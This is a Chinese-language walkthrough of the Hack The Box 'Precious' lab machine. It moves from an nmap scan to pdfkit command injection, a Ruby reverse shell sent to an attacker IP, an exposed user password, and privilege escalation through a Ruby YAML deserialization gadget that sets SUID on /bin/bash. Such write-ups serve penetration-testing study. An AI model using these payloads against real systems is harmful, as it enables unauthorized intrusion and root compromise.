HTB-Precious-WriteUp
字数 685 2025-08-29 08:29:42

HTB Precious 靶机渗透测试详细教程

1. 信息收集阶段

1.1 端口扫描

使用nmap进行初始扫描:

nmap -sV -sC -oA nmap/initial 10.10.11.189

1.2 Web服务发现

  • 访问IP地址时发现重定向到一个域名
  • 将域名添加到hosts文件:
echo "10.10.11.189 precious.htb" | sudo tee -a /etc/hosts

2. Web应用分析

2.1 发现漏洞组件

通过抓包分析发现服务器使用了wkhtmltopdf 0.12.6,该版本存在SSRF漏洞。

2.2 进一步发现

在返回包中发现使用了pdfkit组件,这是一个Ruby库,用于HTML转PDF。

3. 漏洞利用

3.1 SSRF漏洞利用

使用Burp Repeater模块构造恶意请求:

POST / HTTP/1.1
Host: precious.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
Origin: http://precious.htb
Connection: close
Referer: http://precious.htb/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

url=http%3A%2F%2F10.10.16.22%3A4444%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.16.22%22%2C4444%29%27%60

3.2 反向Shell获取

在攻击机上设置监听:

nc -lvnp 4444

4. 权限提升

4.1 发现用户凭证

/home/.bundle目录下发现用户henry的密码:

henry:Q3c1AqGHtoI0aXAYFH

4.2 检查sudo权限

sudo -l

输出显示可以使用root权限运行ruby脚本:

(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.yml

4.3 分析目标脚本

发现脚本使用相对路径加载dependencies.yml文件,存在路径劫持漏洞。

4.4 创建恶意YAML文件

在当前目录创建dependencies.yml文件,内容为:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /bin/bash
         method_id: :resolve

4.5 执行提权

sudo /usr/bin/ruby /opt/update_dependencies.yml

4.6 获取root权限

/bin/bash -p

5. 总结

  1. 通过nmap扫描发现Web服务
  2. 发现wkhtmltopdf和pdfkit组件的SSRF漏洞
  3. 利用SSRF漏洞获取反向Shell
  4. 在系统中发现用户凭证
  5. 利用sudo权限配置不当实现提权

关键点

  • wkhtmltopdf 0.12.6的SSRF漏洞
  • pdfkit的远程代码执行
  • Ruby YAML反序列化漏洞
  • sudo权限配置不当导致的提权
HTB Precious 靶机渗透测试详细教程 1. 信息收集阶段 1.1 端口扫描 使用nmap进行初始扫描: 1.2 Web服务发现 访问IP地址时发现重定向到一个域名 将域名添加到hosts文件: 2. Web应用分析 2.1 发现漏洞组件 通过抓包分析发现服务器使用了 wkhtmltopdf 0.12.6 ,该版本存在SSRF漏洞。 2.2 进一步发现 在返回包中发现使用了 pdfkit 组件,这是一个Ruby库,用于HTML转PDF。 3. 漏洞利用 3.1 SSRF漏洞利用 使用Burp Repeater模块构造恶意请求: 3.2 反向Shell获取 在攻击机上设置监听: 4. 权限提升 4.1 发现用户凭证 在 /home/.bundle 目录下发现用户henry的密码: 4.2 检查sudo权限 输出显示可以使用root权限运行ruby脚本: 4.3 分析目标脚本 发现脚本使用相对路径加载 dependencies.yml 文件,存在路径劫持漏洞。 4.4 创建恶意YAML文件 在当前目录创建 dependencies.yml 文件,内容为: 4.5 执行提权 4.6 获取root权限 5. 总结 通过nmap扫描发现Web服务 发现wkhtmltopdf和pdfkit组件的SSRF漏洞 利用SSRF漏洞获取反向Shell 在系统中发现用户凭证 利用sudo权限配置不当实现提权 关键点 : wkhtmltopdf 0.12.6的SSRF漏洞 pdfkit的远程代码执行 Ruby YAML反序列化漏洞 sudo权限配置不当导致的提权